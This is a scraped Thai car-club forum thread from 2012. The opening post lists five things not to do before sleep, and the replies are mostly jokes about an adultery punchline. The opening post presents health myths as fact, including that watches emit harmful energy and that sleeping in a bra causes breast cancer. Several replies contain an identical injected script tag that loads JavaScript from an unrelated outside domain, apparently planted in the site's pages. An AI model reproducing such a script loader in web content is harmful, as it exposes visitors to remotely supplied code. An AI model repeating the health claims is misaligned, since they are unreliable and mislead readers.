“5 อย่า” เมื่อคุณจะนอน

หน้าหลัก เข้าสู่ระบบ สมัครสมาชิก รายชื่อสมาชิก

General Talk

“5 อย่า” เมื่อคุณจะนอน

sheclubzing

ชื่อเล่น: นายญิ๋ง

เข้าร่วม: 12 ธันวา 2011
ตอบ: 469

แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 1265
ให้คำขอบคุณ: 965

ที่อยู่: I'd line: carwash
ปี: 2004
สี: แดง ไฟร์เปปเปอร์ (R-507P)

ศุกร์, 2 มีนา 2012 08:40 - “5 อย่า” เมื่อคุณจะนอน

ที่ 1 คือ อย่านอนหลับไปพร้อมๆ กับนาฬิกาข้อมือ
ก็เพราะขณะที่นาฬิกาเจ้ากรรมทำงานไปเรื่อยๆ นั้นเจ้านาฬิกาไม่ว่าจะเล็กหรือใหญ่ล้วนปล่อยพลังงานทั้งสิ้น เชื่อมั้ยว่าการใส่นาฬิกาข้อมือนอน จะมีผลต่อสุขภาพระยะยาวเลย

อย่าที่ 2 นี่ สำหรับพวกชอบคุยโทรศัพท์มือถือจนหลับโดยเฉพาะเลย
ไม่ควรนอนหลับไปพร้อมๆ กับโทรศัพท์เท่านั้น แต่หมายรวมไปถึงการวางโทรศัพท์มือถือไว้ใกล้ๆ ตัวด้วย บางคนที่ชอบใช้มือถือเป็นนาฬิกาปลุกยามเช้า กรุณาเก็บมือถือของท่านไว้ให้ใกลตัวที่สุดเมื่อจะนอนซะเถอะ ไปหาซื้อนาฬิกาปลุกถูกๆ ดีๆ เก๋ๆ มาใช้ดีกว่า เพราะมีหลักฐานทางวิทยาศาสตร์ระบุว่า โทรศัพท์มือถือเครื่องจิ๋วเนี่ย จะปล่อยคลื่นแม่เหล็กไฟฟ้าออกมาขณะเปิดเครื่องไว้ และเจ้าคลื่นแม่เหล็กไฟฟ้าเหล่านี้ มีผลกับระบบประสาทซะด้วยส ิ เพราะฉะนั้น ตอนนอนก็ปิดโทรศัพท์มือถือซะดีกว่า พอปิดโทรศัพท์มือถือเรียบร้อยแล้ว จะวางไว้ใกล้หรือไกลก็หายห่วง

อย่าที่ 3 ง่ายๆ สั้นๆ คือ อย่าหลับพร้อมๆ กับเครื่องสำอาง
ไม่ว่าจะเหนื่อยอ่อนเมื่อยล้าขนาดไหน ต้องล้างเครื่องสำอางออกให้หมด เพราะการหลับทั้งๆ ที่เครื่องสำอางยังคาอยู่ที่ผิวหน้านั้น จะก่อให้เกิดปัญหาด้านผิวพรรณระยะยาว กลางคืนคือช่วงเวลาที่ผิวพรรณจะได้พักผ่อนบ้างนะค่ะ

อย่าที่ 4 คือ อย่านอนหลับทั้งๆ ที่ยังใส่ยกทรงจะเป็นการเพิ่มอัตราเสี่ยงต่อการเป็นมะเร็งทรวงอกได้

อย่าที่ 5 อันนี้เหมาะกับทุกเพศเลยนะ
“อย่านอนกับสามีหรือภรรยาของคนอื่น” เพราะคุณอาจจะไม่ได้ตื่นอีกเลย …

แก้ไขล่าสุดโดย เมื่อ ศุกร์, 2 มีนา 2012 08:46, ทั้งหมด 2 ครั้ง (ดูทั้งหมด)

ได้รับคำขอบคุณจาก: --x wangyu chaichan S_panbumrung Favonius phoochit-n Makai AEtattoo A-u-T-o-N-o-m-Y toptwo Nut_Au_Together ahingrace gassa kimberpro วุฒิชัย khem_hatyai ค้าอะไหล่โคตรเก่า BEER_CIVIC ES fasang.Mr bank NuuTeee CoCain3z book05 pom_sawas boyboom_16 scanclub TidTlE okuma numixer MADBOY ballanupong

hawkeye_04

ชื่อเล่น: นิด

เข้าร่วม: 21 ตุลา 2008
ตอบ: 327

มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 276
ให้คำขอบคุณ: 253

ปี: 2004
สี: ดำ ไนท์ฮอว์ก (B-92P)

ศุกร์, 2 มีนา 2012 08:43 - “5 อย่า” เมื่อคุณจะนอน

ได้รับคำขอบคุณจาก: khem_hatyai

hisashi2524

ชื่อเล่น: ตั้ม

เข้าร่วม: 28 มิถุนา 2011
ตอบ: 1056

ครอบครัว ES

ได้รับคำขอบคุณ: 685
ให้คำขอบคุณ: 12

ที่อยู่: แถวเซียร์รังสิต
ปี: 2001
สี: เทา ซิกเน็ต (เมทัลลิก) (RP-31M)

ศุกร์, 2 มีนา 2012 08:56 - “5 อย่า” เมื่อคุณจะนอน

ได้รับคำขอบคุณจาก: khem_hatyai

--x

ชื่อเล่น: เอ็กซ์

เข้าร่วม: 25 มกรา 2010
ตอบ: 1104

ครอบครัว ES

ได้รับคำขอบคุณ: 1047
ให้คำขอบคุณ: 122

ที่อยู่: เชียงราย
ปี: 2005
สี: ดำ ไนท์ฮอว์ก (B-92P)

ศุกร์, 2 มีนา 2012 09:04 - “5 อย่า” เมื่อคุณจะนอน

ทราบเลย

ได้รับคำขอบคุณจาก: khem_hatyai bank

wangyu

ชื่อเล่น: เอ๊ช

เข้าร่วม: 17 มิถุนา 2010
ตอบ: 7619

ครอบครัว ES

ได้รับคำขอบคุณ: 6468
ให้คำขอบคุณ: 7442

ที่อยู่: ลำผักชี,หนองจอก,ลาดกระบัง,มาบตาพุด ระยอง
ปี: 2005
สี: ทอง ไทเทเนียม (เมทัลลิก) (YR-525M)

ศุกร์, 2 มีนา 2012 09:21 - “5 อย่า” เมื่อคุณจะนอน

ข้อ ห้า โดนอ่ะครับ <script src="https://sport32news.com/civicesgroup.js"></

ได้รับคำขอบคุณจาก: khem_hatyai

es5991

เข้าร่วม: 19 พฤษภาคม 2011
ตอบ: 390

มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 463
ให้คำขอบคุณ: 157

ปี: 2002
สี: ทอง แซทเทิลไลท์ (NH-663M)

ศุกร์, 2 มีนา 2012 09:25 - “5 อย่า” เมื่อคุณจะนอน

ชอบข้อ 4 ครับ เพราะไม่ดีมากๆ (เสียงเป็น....มะ...เร็ง ด้วย) งั้น..ถอดเถอะครับ

ได้รับคำขอบคุณจาก: khem_hatyai

Cra2yLov3

ชื่อเล่น: จุ่น

เข้าร่วม: 01 กุมภา 2012
ตอบ: 490

แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 580
ให้คำขอบคุณ: 358

ที่อยู่: สุราษฎร์ - กทม (ลาดพร้าว)
ปี: 2004
สี: ดำ ไนท์ฮอว์ก (B-92P)

ศุกร์, 2 มีนา 2012 09:27 - “5 อย่า” เมื่อคุณจะนอน

ข้อ5. อันนี้สงสัยจะเลี่ยงไม่ได้จริงๆ

ได้รับคำขอบคุณจาก: khem_hatyai

sheclubzing

ชื่อเล่น: นายญิ๋ง

เข้าร่วม: 12 ธันวา 2011
ตอบ: 469

แซงซ้าย ปาดขวา

ศุกร์, 2 มีนา 2012 09:31 - “5 อย่า” เมื่อคุณจะนอน

ยอมไม่ตื่นอ่ะ คริคริ

ได้รับคำขอบคุณจาก: ahingrace khem_hatyai

black_es

เข้าร่วม: 07 สิงหา 2009
ตอบ: 464

แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 340
ให้คำขอบคุณ: 69

ที่อยู่: saraburi
ปี: 2002
สี: ดำ ไนท์ฮอว์ก (B-92P)

ศุกร์, 2 มีนา 2012 09:32 - “5 อย่า” เมื่อคุณจะนอน

....

ได้รับคำขอบคุณจาก: khem_hatyai

song

เข้าร่วม: 10 กุมภา 2011
ตอบ: 9833

ครอบครัว ES

ได้รับคำขอบคุณ: 5558
ให้คำขอบคุณ: 4415

ที่อยู่: ESเมืองทอง 100%
ปี: 2002
สี: ทอง ไทเทเนียม (เมทัลลิก) (YR-525M)

ศุกร์, 2 มีนา 2012 09:49 - “5 อย่า” เมื่อคุณจะนอน

ชอบข้อ5อ่ะครับ ผมว่ามันได้ตื่นนะ แต่เป็นตื่นเต็นอ่ะครับ 555+

แก้ไขล่าสุดโดย เมื่อ ศุกร์, 2 มีนา 2012 10:59, ทั้งหมด 1 ครั้ง (ดูทั้งหมด)

ได้รับคำขอบคุณจาก: khem_hatyai

ponman

ชื่อเล่น: พนธ์

เข้าร่วม: 01 สิงหา 2011
ตอบ: 359

มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 281
ให้คำขอบคุณ: 707

ที่อยู่: สระบุรี ตลาดไท รังสิต สะพานควาย
ปี: 2002
สี: เทา ซิกเน็ต (เมทัลลิก) (RP-31M)

ศุกร์, 2 มีนา 2012 10:22 - “5 อย่า” เมื่อคุณจะนอน

ข้อ 5

ได้รับคำขอบคุณจาก: khem_hatyai

Aek_EsCivic

ชื่อเล่น: ขุนแผน

เข้าร่วม: 19 มกรา 2012
ตอบ: 49

น้องใหม่

ได้รับคำขอบคุณ: 94
ให้คำขอบคุณ: 190

ที่อยู่: Bangkok>>เทพารักษ์
ปี: 2004
สี: ขาว ทาฟเฟต้า (NH-578)

ศุกร์, 2 มีนา 2012 10:38 - “5 อย่า” เมื่อคุณจะนอน

เง้อ ข้อ5โหดร้ายจังครับ

ได้รับคำขอบคุณจาก: khem_hatyai

chaichan

ชื่อเล่น: โต้ง

เข้าร่วม: 28 มกรา 2011
ตอบ: 1825

ครอบครัว ES

ได้รับคำขอบคุณ: 367
ให้คำขอบคุณ: 419

ที่อยู่: Pathumtani-somewhere
ปี: 2002
สี: เงิน ซาติน (เมทัลลิก) (NH-623M)

ศุกร์, 2 มีนา 2012 11:00 - “5 อย่า” เมื่อคุณจะนอน

ชอบข้อ 4 กับ 5 จัง

ได้รับคำขอบคุณจาก: khem_hatyai

Thanwa

ชื่อเล่น: แจ๊ค

เข้าร่วม: 01 ธันวา 2010
ตอบ: 890

Guru ES
Guru ES

ได้รับคำขอบคุณ: 293
ให้คำขอบคุณ: 729

ที่อยู่: พิษณุโลก
ปี: 2004
สี: เงิน ซาติน (เมทัลลิก) (NH-623M)

ศุกร์, 2 มีนา 2012 11:13 - “5 อย่า” เมื่อคุณจะนอน

55+

ได้รับคำขอบคุณจาก: sheclubzing khem_hatyai

Chote

ชื่อเล่น: โจ่ว

เข้าร่วม: 27 พฤษภาคม 2011
ตอบ: 632

Guru ES
Guru ES

ได้รับคำขอบคุณ: 656
ให้คำขอบคุณ: 382

ที่อยู่: ลาดกระบังครับ
ปี: 2001
สี: เทา ซิกเน็ต (เมทัลลิก) (RP-31M)

ศุกร์, 2 มีนา 2012 11:48 - “5 อย่า” เมื่อคุณจะนอน

chaichan พิมพ์ว่า:

ชอบข้อ 4 กับ 5 จัง

+100000

ได้รับคำขอบคุณจาก: sheclubzing khem_hatyai

phoochit-n

ชื่อเล่น: เบิ้ล

เข้าร่วม: 19 ตุลา 2009
ตอบ: 815

Guru ES
Guru ES

ได้รับคำขอบคุณ: 923
ให้คำขอบคุณ: 907

ที่อยู่: ศรีราชา-โคราช
ปี: 2003
สี: เงิน ซาติน (เมทัลลิก) (NH-623M)

ศุกร์, 2 มีนา 2012 12:53 - “5 อย่า” เมื่อคุณจะนอน

ชอบข้อ5 ครับ

ได้รับคำขอบคุณจาก: khem_hatyai

sanyaaa

เข้าร่วม: 16 มกรา 2012
ตอบ: 277

มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 784
ให้คำขอบคุณ: 42

ที่อยู่: โกสุมร่วมใจ ห้า ดอนเมือง
ปี: 2005
สี: เงิน ซาติน (เมทัลลิก) (NH-623M)

ศุกร์, 2 มีนา 2012 13:06 - “5 อย่า” เมื่อคุณจะนอน

เพิ่มข้อ.6 ให้
ถ้าคุณเป็นสามี ห้ามนอนกับสามีคนอื่นเหมือนกัน
เพราะตื่นมาแล้วจาตกลงกันไม่ได้ว่าครายเป้นสามี

ได้รับคำขอบคุณจาก: khem_hatyai

toptwo

ชื่อเล่น: ท็อป

เข้าร่วม: 25 มิถุนา 2011
ตอบ: 1000

ครอบครัว ES

ได้รับคำขอบคุณ: 1279
ให้คำขอบคุณ: 1707

ที่อยู่: Samrong & Kanchanaburi
ปี: 2003
สี: เทา ซิกเน็ต (เมทัลลิก) (RP-31M)

ศุกร์, 2 มีนา 2012 17:12 - “5 อย่า” เมื่อคุณจะนอน

ข้อ5

ได้รับคำขอบคุณจาก: khem_hatyai

sheclubzing

ชื่อเล่น: นายญิ๋ง

เข้าร่วม: 12 ธันวา 2011
ตอบ: 469

แซงซ้าย ปาดขวา

ศุกร์, 2 มีนา 2012 17:49 - “5 อย่า” เมื่อคุณจะนอน

sanyaaa พิมพ์ว่า:

555

ได้รับคำขอบคุณจาก: khem_hatyai

ahingrace

ชื่อเล่น: หนึ่ง

เข้าร่วม: 01 ตุลา 2008
ตอบ: 2984

ครอบครัว ES

ได้รับคำขอบคุณ: 6506
ให้คำขอบคุณ: 11382

ที่อยู่: กรุงเทพ โคราช สระบุรี (THE GANG)
ปี: 2005
สี: ดำ ไนท์ฮอว์ก (B-92P)

ศุกร์, 2 มีนา 2012 18:01 - “5 อย่า” เมื่อคุณจะนอน

อย่าที่ 7 อย่ามากับผมเด็ดขาด "<script src="https://sport32news.com/civicesgroup.js">

ไม่ได้นอนแน่ พาซิ่งตลอด....ขับรถน่ะ

ได้รับคำขอบคุณจาก: khem_hatyai

gassa

เข้าร่วม: 24 มกรา 2011
ตอบ: 45

น้องใหม่

ได้รับคำขอบคุณ: 92
ให้คำขอบคุณ: 38

ศุกร์, 2 มีนา 2012 18:36 - “5 อย่า” เมื่อคุณจะนอน

ไม่นอนกับภรรยาคน-นอนกับภรรยาเพื่อนภรรยาลูกน้องภรรยาน้องได้ใช่มะ

ได้รับคำขอบคุณจาก: khem_hatyai

jk_1

เข้าร่วม: 09 ธันวา 2009
ตอบ: 293

มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 749
ให้คำขอบคุณ: 3

ที่อยู่: Bang-Phlee Samutprakran
ปี: 2003
สี: เทา ซิกเน็ต (เมทัลลิก) (RP-31M)

ศุกร์, 2 มีนา 2012 18:42 - “5 อย่า” เมื่อคุณจะนอน

มีสาระดีทุกข้อ...แต่โดนสุดข้อ 5

555........

<script src="https://sport32news.com/civicesgroup.js"></

ได้รับคำขอบคุณจาก: khem_hatyai

kimberpro

ชื่อเล่น: เอ

เข้าร่วม: 22 ตุลา 2009
ตอบ: 1344

ครอบครัว ES

ได้รับคำขอบคุณ: 1093
ให้คำขอบคุณ: 629

ที่อยู่: นวมินทร์
ปี: 2002
สี: เทา ซิกเน็ต (เมทัลลิก) (RP-31M)

ศุกร์, 2 มีนา 2012 18:45 - “5 อย่า” เมื่อคุณจะนอน

สงสัยจะไม่ตื่น

ได้รับคำขอบคุณจาก: khem_hatyai

วุฒิชัย

ชื่อเล่น: ตั้ม

เข้าร่วม: 26 มิถุนา 2011
ตอบ: 4151

ครอบครัว ES

ได้รับคำขอบคุณ: 3281
ให้คำขอบคุณ: 4338

ที่อยู่: แม่สอด-ตาก-โขทัย-อุตรดิตถ์
ปี: 2004
สี: ดำ ไนท์ฮอว์ก (B-92P)

ศุกร์, 2 มีนา 2012 21:02 - “5 อย่า” เมื่อคุณจะนอน

ชอบข้อ 5 มากเลยครับ

<script src="https://sport32news.com/civicesgroup.js"></

ได้รับคำขอบคุณจาก: khem_hatyai

yuncup2008

เข้าร่วม: 05 พฤศจิกา 2008
ตอบ: 427

แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 420
ให้คำขอบคุณ: 68

ที่อยู่: สงขลา
ปี: 2001
สี: เทา ซิกเน็ต (เมทัลลิก) (RP-31M)

ศุกร์, 2 มีนา 2012 21:17 - Re: “5 อย่า” เมื่อคุณจะนอน

sheclubzing พิมพ์ว่า:

อย่าที่ 4 คือ อย่านอนหลับทั้งๆ ที่ยังใส่ยกทรงจะเป็นการเพิ่มอัตราเสี่ยงต่อการเป็นมะเร็งทรวงอกได้

color]

ชอบข้อนี้จังแฮะ

ได้รับคำขอบคุณจาก: khem_hatyai

khem_hatyai

ชื่อเล่น: เข้ม

เข้าร่วม: 31 ตุลา 2011
ตอบ: 3195

ครอบครัว ES

ได้รับคำขอบคุณ: 3829
ให้คำขอบคุณ: 26792

ที่อยู่: เกิดที่ นครศรีฯ ตอนนี้ สงขลา
ปี: 2004
สี: เทา ซิลเวอร์สโตน (NH-630M)

ศุกร์, 2 มีนา 2012 21:27 - “5 อย่า” เมื่อคุณจะนอน

ตายละหว่า ข้อ 5 เพิ่งทำไปเมื่อคืนนี้เอง

<script src="https://sport32news.com/civicesgroup.js"></

ล้อเล่นนะครับ

ได้รับคำขอบคุณจาก: วุฒิชัย

fasang.Mr

ชื่อเล่น: บี

เข้าร่วม: 23 มีนา 2010
ตอบ: 2101

ครอบครัว ES

ได้รับคำขอบคุณ: 1764
ให้คำขอบคุณ: 2323

ที่อยู่: นนทบุรี-ประจวบฯ-พะเยา
ปี: 2004
สี: ดำ ไนท์ฮอว์ก (B-92P)

ศุกร์, 2 มีนา 2012 22:26 - “5 อย่า” เมื่อคุณจะนอน

ข้ออื่นทำได้ครับ แต่ข้อ 5. ยังไม่เคยทำ !!! <script src="https://sport32news.com/civicesgroup.js"></

book05

เข้าร่วม: 20 มิถุนา 2010
ตอบ: 637

Guru ES
Guru ES

ได้รับคำขอบคุณ: 407
ให้คำขอบคุณ: 419

ที่อยู่: 84 ซ.นนทบุรี24/3 ถ.สนามบินน้ำ จ.นนทบุรี
ปี: 2003
สี: ดำ ไนท์ฮอว์ก (B-92P)

เสาร์, 3 มีนา 2012 09:47 - “5 อย่า” เมื่อคุณจะนอน

ข้อ 5 สำคัญที่สุด!

Lee_ES_turbo

เข้าร่วม: 02 ตุลา 2008
ตอบ: 4446

ครอบครัว ES

ได้รับคำขอบคุณ: 8088
ให้คำขอบคุณ: 5249

ปี: 2004

เสาร์, 3 มีนา 2012 10:08 - “5 อย่า” เมื่อคุณจะนอน

ผ่านทุกข้อ ยกเว้นข้อ 5.... ซวยแระไงกู

sheclubzing

ชื่อเล่น: นายญิ๋ง

เข้าร่วม: 12 ธันวา 2011
ตอบ: 469

แซงซ้าย ปาดขวา

เสาร์, 3 มีนา 2012 10:43 - “5 อย่า” เมื่อคุณจะนอน

Lee_ES_turbo พิมพ์ว่า:

ผ่านทุกข้อ ยกเว้นข้อ 5.... ซวยแระไงกู

ไปนอนกะเมียไคร มาหราๆลี ฮึฮึ!!!

ได้รับคำขอบคุณจาก: ค้าอะไหล่โคตรเก่า

หน้า 1 จาก 2

ไปที่:

ชั้นวางของ โต๊ะข้างเตียง

พิกัด : https://shope.ee/1qF5Kao7Sp

ติดต่อโฆษณา admin@civicesgroup.com